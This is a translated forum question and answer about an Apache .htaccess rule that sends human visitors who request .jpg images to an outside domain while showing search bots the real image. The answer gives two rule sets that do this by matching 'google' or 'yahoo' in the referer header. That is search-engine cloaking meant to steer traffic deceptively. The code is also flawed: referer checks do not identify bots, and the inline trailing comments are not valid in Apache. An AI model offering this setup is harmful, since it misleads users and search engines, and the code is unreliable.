How to add a redirect exception to htaccess?

Question

JPEG

Greetings to all
There is an htaccess with the rule:
RewriteEngine On
RewriteCond %{REQUEST_URI} jpg
RewriteRule .* https://facebook-masters.pro/ [R=301,L]
According to the rule, when you go to a url with a picture, a redirect occurs werden.cf/200 .jpg
How to add an exception for all (or for a specific) bot, so that it is not redirected anywhere on request for a picture, but shows the picture itself? Those bots see the picture itself and people go to the url according to the prescribed rule

Answer 1

So:

RewriteEngine On
RewriteCond %{REQUEST_URI} jpg            # если запрошена картинка
RewriteCond %{HTTP_REFERER} google [OR]   # и это гугл или
RewriteCond %{HTTP_REFERER} yahoo         # это яху
RewriteRule ^ - [L] # ничего не делаем

or so

RewriteEngine On
RewriteCond %{REQUEST_URI} jpg         # если запрошена картинка
RewriteCond %{HTTP_REFERER} !google    # и это не гугл
RewriteCond %{HTTP_REFERER} !yahoo     # и это не яху
RewriteRule .* https://facebook-masters.pro/ [R=301,L]  # перенаправляем
